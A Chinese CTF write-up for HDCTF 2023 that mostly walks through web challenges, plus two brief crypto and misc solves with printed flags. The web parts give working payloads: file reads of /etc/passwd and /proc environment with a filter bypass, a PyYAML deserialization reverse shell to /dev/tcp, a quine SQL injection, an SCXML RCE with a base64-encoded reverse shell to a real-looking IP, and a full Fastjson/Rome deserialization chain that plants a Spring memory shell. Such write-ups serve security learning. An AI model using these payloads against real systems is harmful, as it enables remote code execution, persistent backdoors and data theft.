前言
打不动,python,java框架是完全没头绪。。。
WEB
Welcome To HDCTF 2023
jsfuck
打开直奔js发现jsfuck串
复制到控制台执行获取flag
SearchMaster
smarty模板注入
观察网页猜测是模板注入,需要post请求传data
随便弄个报错出来发现是smarty模板
结合题目名称于是在出题人的博客中查到相关知识点
使用此payload查看根目录可以发现flag,于是tac即可
YamiYami(复现)
Python+Yaml反序列化+伪协议
进去之后发现有三个链接
一个个点过去
此处可以发现存在一个url传参,猜测是任意文件读取
第二个是文件上传
第三个是当前目录
非预期解
来到read路由的页面
使用file://
协议进行文件读取
先读取etc/passwd
,发现能够正常读取
然后尝试读取proc/1/environ
获取环境变量
成功获得flag
- 局限:这种方法只适用于环境变量没被清除且flag不在根目录的情况下
预期解
首先在read路由下用file://
协议尝试读取/app/app.py
回显re.findall('app.*', url, re.IGNORECASE)
看来是被过滤了
这里要用url二次编码绕过
原理:这里采用的是urlopen的方式进行任意文件读取,一次编码会被还原,服务端收到的还是app就会过滤,而二次编码后,到服务端是一次编码的过程,不存在app,也就不会被识别,这里urlopen接受的是一个url地址,url地址会再进行一次编码,所以也可以正常访问
附上个人的url全编码脚本
<?php
$a='%61%70%70%2f%61%70%70%2e%70%79';
$b=str_split($a);
for($i=0;$i<count($b);$i++){
echo ("%".bin2hex($b[$i]));
}
?>
两次编码后成功读取到/app/app.py
#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"
@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/pwd">pwd</a>
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'
def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])
注意:Python3的urllib.request.urlopen
只可以打开url协议的内容,而不能读取app.py
这样的文件内容,所以想要读取文件就使用file协议进行获取
需要做的事情就2件,伪造Cookie,Yaml反序列化,那么Cookie怎么拿呢?key的种子是由uuid.getnode()
生成的,网上检索一波
在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode() 方法来获取计算机的硬件地址,这个地址将作为 UUID 的一部分。
/sys/class/net/eth0/address
,这个就是网卡的位置,读取它,然后用同样的逻辑获取 SECRET_KEY 进行伪造即可
之后就是Yaml反序列化:
!!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/your-ip/7777 <&1\"')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list
上传之后在进入/boogipop路由触发即可获取shell
LoginMaster(复现)
quine注入
进入题目,是一个登录页面,没有注册功能
随便输入个用户名,告诉我们only admin can login
dirsearch扫的时候发现存在robots.txt,得到检查的代码
function checkSql($s)
{
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
ban了大多数sql注入需要用到的函数,告诉我们只要查询返回的$row['password']
等于$password即可,明显是要我们用quine注入
直接掏现成的payload打
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
BabyJXvX(待复现)
Apache SCXML2 RCE
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<final id="run">
<onexit>
<assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE2LjExOS4yNTMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}')"/>
</onexit>
</final>
</scxml>
JavaMonster(复现)
Fastjson+Rome 二次反序列化打入SpringBoot高版本内存马
主要路由:
package com.ctf.easyjava.controllers;
import com.ctf.easyjava.accounts.User;
import com.ctf.easyjava.utils.JwtUtil;
import com.ctf.easyjava.utils.MyownObjectInputStream;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.util.Base64;
@Controller
public class MainController {
@RequestMapping("/")
public String index(){
return "bouncy";
}
@PostMapping("/Flag")
public void Flag(User user, HttpServletRequest request, HttpServletResponse response, @RequestParam(required = true) String data) throws IOException, ClassNotFoundException {
if(user==null){
user=new User();
String username=user.getUname();
response.getWriter().println("Hello"+username);
}
Cookie[] cookies = request.getCookies();
String token = cookies[1].getValue();
JwtUtil jwtUtil = new JwtUtil();
String gettoken=jwtUtil.Jwttoken(token);
if(!gettoken.equals("Boogipop")){
response.getWriter().println("Need Authorization!");
}
else{
byte[] decode = Base64.getDecoder().decode(data);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(decode);
MyownObjectInputStream objectInputStream = new MyownObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
String s = objectInputStream.readUTF();
if(!s.equals("Try to solve EasyJava")&&s.hashCode()=="Try to solve EasyJava".hashCode()) {
objectInputStream.readObject();
}
else {
response.getWriter().println("Where is your passport");
}
}
}
}
/Flag 里一个 readObject 反序列化入口,想要进入反序列化首先需要过一个 hashcode,一个 JWT 伪造,注意到这里的 MyownObjectInputStream
IDEA调试配置
顺便记载一下 IDEA 的调试 jar 包方法
jwt
JWT 算法已经在源码给出,照着造一个就好了
import com.auth0.jwt.JWT;
import com.auth0.jwt.JWTVerifier;
import com.auth0.jwt.algorithms.Algorithm;
import com.auth0.jwt.interfaces.Claim;
import com.auth0.jwt.interfaces.DecodedJWT;
import java.io.UnsupportedEncodingException;
import java.util.Date;
import java.util.Map;
import org.apache.commons.lang3.time.DateUtils;
public class JwtUtil {
public JwtUtil() {
}
public String JwtCreate(User user) {
String token = JWT.create().withIssuedAt(new Date()).withExpiresAt(DateUtils.addHours(new Date(), 2)).withClaim("username", user.getUname()).sign(Algorithm.HMAC256("askjdklajsklfas45645asdafa654564"));
return token;
}
public String Jwttoken(String token) {
JWTVerifier jwtVerifier = JWT.require(Algorithm.HMAC256("askjdklajsklfas45645asdafa654564")).build();
DecodedJWT jwt = jwtVerifier.verify(token);
Map<String, Claim> claims = jwt.getClaims();
Claim claim = (Claim)claims.get("username");
return claim.asString();
}
public static void main(String[] args) throws UnsupportedEncodingException {
JwtUtil jwtUtil = new JwtUtil();
User user = new User("Boogipop", "123");
String token = jwtUtil.JwtCreate(user);
System.out.println(token);
System.out.println(jwtUtil.Jwttoken(token));
}
}
传的时候注意是取第二个cookie
hashCode绕过
对于这个判断
String s = objectInputStream.readUTF();
if(!s.equals("Try to solve EasyJava")&&s.hashCode()=="Try to solve EasyJava".hashCode()) {
objectInputStream.readObject();
}
需要看一下 hashCode 的源码:
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
hashCode()
的作用是获取哈希码,例子:
//97
"a".hashCode()
//97*31+98=3105
"ab".hahsCode()
//98*31+67=3105
"bC".hashCode()
//3105*31+99=96354
"abc".hashCode()
可以看到不同字符串的 hashCode 是可以相同的,那么按照这个方法构造一个和Try to solve EasyJava
的哈希码相同的字符串即可,这里构造了一个Try to solve Easxiava
反序列化思路构建
重写的 MyownObjectInputStream 里的黑名单
package com.ctf.easyjava.utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.util.*;
public class MyownObjectInputStream extends ObjectInputStream{
private ArrayList Blacklist=new ArrayList();
public MyownObjectInputStream(InputStream in) throws IOException {
super(in);
this.Blacklist.add(Hashtable.class.getName());
this.Blacklist.add(HashSet.class.getName());
this.Blacklist.add(JdbcRowSetImpl.class.getName());
this.Blacklist.add(TreeMap.class.getName());
this.Blacklist.add(HotSwappableTargetSource.class.getName());
this.Blacklist.add(XString.class.getName());
this.Blacklist.add(BadAttributeValueExpException.class.getName());
this.Blacklist.add(TemplatesImpl.class.getName());
this.Blacklist.add(ToStringBean.class.getName());
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (this.Blacklist.contains(desc.getName())) {
throw new InvalidClassException("dont do this");
} else {
return super.resolveClass(desc);
}
}
}
看依赖,发现了 ROME 和 FastJson 依赖,并且都是比较低的版本,因此入口点肯定在这里
Rome 和 FastJson 都是触发任意 getter 的,而且对于Rome,它自己单独就可以打出完整的一条链,但是这里把一些类ban了,比如 ToStringBean 和 Hotswapper、Xstring、BadAttribute 等等,那么 Rome 链到 EqualsBean.beanHashCode
那里就断掉了
不过还有 fastjson,fastjson 的 JSON.toString
也是可以触发任意 getter 的,用 EqualsBean.beanHashCode 触发 JSON.toString,这样链子就凑上去了
这里把 TemplatesImpl 和 JdbcRowImpl 也ban了,没这两个的话最后没法rce,这个时候就需要二次反序列化了,对于 Rome 的话就需要 SignObject 类了
注意 SignObject.getObject
是 Protected 属性,不过这里题目给了一个起到同样效果的 HDCTF 类
public class HDCTF implements Serializable {
private byte[] content;
public HDCTF(Serializable object) throws IOException {
ByteArrayOutputStream b = new ByteArrayOutputStream();
ObjectOutput a = new ObjectOutputStream(b);
a.writeObject(object);
a.flush();
a.close();
this.content = b.toByteArray();
b.close();
}
public Object getFlag() throws IOException, ClassNotFoundException {
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}
}
那最终思路就是(Rome) EqualsBean#beanHashCode -> (FastJson) JSON#toJSONString -> HDCTF#getFlag -> MemShell
调用栈参考:
getFlag:23, HDCTF (com.ctf.easyjava.hdctf)
toJSONString:799, JSON (com.alibaba.fastjson)
toString:793, JSON (com.alibaba.fastjson)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:110, ObjectBean (com.sun.syndication.feed.impl)
hash:338, HashMap (java.util)
readObject:1397, HashMap (java.util)
内存马
题目不出网,那么要打内存马,lib 里是 Sprintboot 2.6.6,内存马如下:
注意包名要对上
package com.ctf.easyjava;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class InjectToController extends AbstractTranslet {
public InjectToController() throws Exception {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config"); // Springboot ver 2.6.0+
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = InjectToController.class.getMethod("exec");
// Springboot lower ver
// PatternsRequestCondition url = new PatternsRequestCondition("/evil");
// RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
RequestMappingInfo info = RequestMappingInfo.paths("/evil").options(config).build();
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
public InjectToController(String arg) {}
public void exec(){
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder("cmd.exe", "/c", arg0);
}else{
p = new ProcessBuilder("/bin/sh", "-c", arg0);
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
response.sendError(404);
}
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
poc
poc,注意还要在字节流里加上writeUTF
绕过hashCode:
import com.alibaba.fastjson.JSONArray;
import com.ctf.easyjava.hdctf.HDCTF;
import com.ctf.easyjava.test.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
public class EXP {
public static void main(String[] args) throws Exception {
TemplatesImpl tpl = Utils.memTemplatesImpl();
ToStringBean toStringBean = new ToStringBean(Templates.class, tpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
HashMap hashMap = new HashMap();
hashMap.put(objectBean,"0w0");
Utils.SetValue(objectBean,"_cloneableBean",null);
Utils.SetValue(objectBean,"_toStringBean",null);
HDCTF hdctf = new HDCTF(hashMap);
JSONArray jsonArray = new JSONArray();
jsonArray.add(hdctf);
ObjectBean objectBean2 = new ObjectBean(JSONArray.class, jsonArray);
HashMap hashMap2 = new HashMap();
hashMap2.put(objectBean2,"0w0");
Utils.SetValue(objectBean2,"_cloneableBean",null);
Utils.SetValue(objectBean2,"_toStringBean",null);
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeUTF("Try to solve Easxiava");
out.writeObject(hashMap2);
System.out.println(Utils.Base64_Encode(bs.toByteArray()));
}
}
这里有个需要注意的点,需要让 objectBean 的 _toStringBean
为 null 才能绕过黑名单,因为 ObjectBean 这里会 new 一次 ToStringBean
工具方法:
public static String Base64_Encode(byte[] bytes) throws Exception{
return new String(Base64.getEncoder().encode(bytes));
}
public static void SetValue(Object obj, String name, Object value) throws Exception {
Class clz = obj.getClass();
Field nameField = clz.getDeclaredField(name);
nameField.setAccessible(true);
nameField.set(obj, value);
}
public static TemplatesImpl memTemplatesImpl() throws Exception{
byte[][] bytes = new byte[][]{GenerateMemShell()};
TemplatesImpl templates = new TemplatesImpl();
SetValue(templates, "_bytecodes", bytes);
SetValue(templates, "_name", "0w0");
SetValue(templates, "_tfactory", null);
return templates;
}
private static byte[] GenerateMemShell() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.getCtClass("com.ctf.easyjava.InjectToController");
return ctClass.toBytecode();
}
运行poc获得Base64编码,然后打入
Crypto
Normal_Rsa
下载题目python附件直接发现flag???
HDCTF{0b3663ed-67e4-44e2-aee7-7c2d8665b63c}
MISC
hardMisc
下载题目附件得到一张png图片,拖入010查看
在文件尾发现一串base64
解密得到flag
HDCTF{wE1c0w3_10_HDctf_M15c}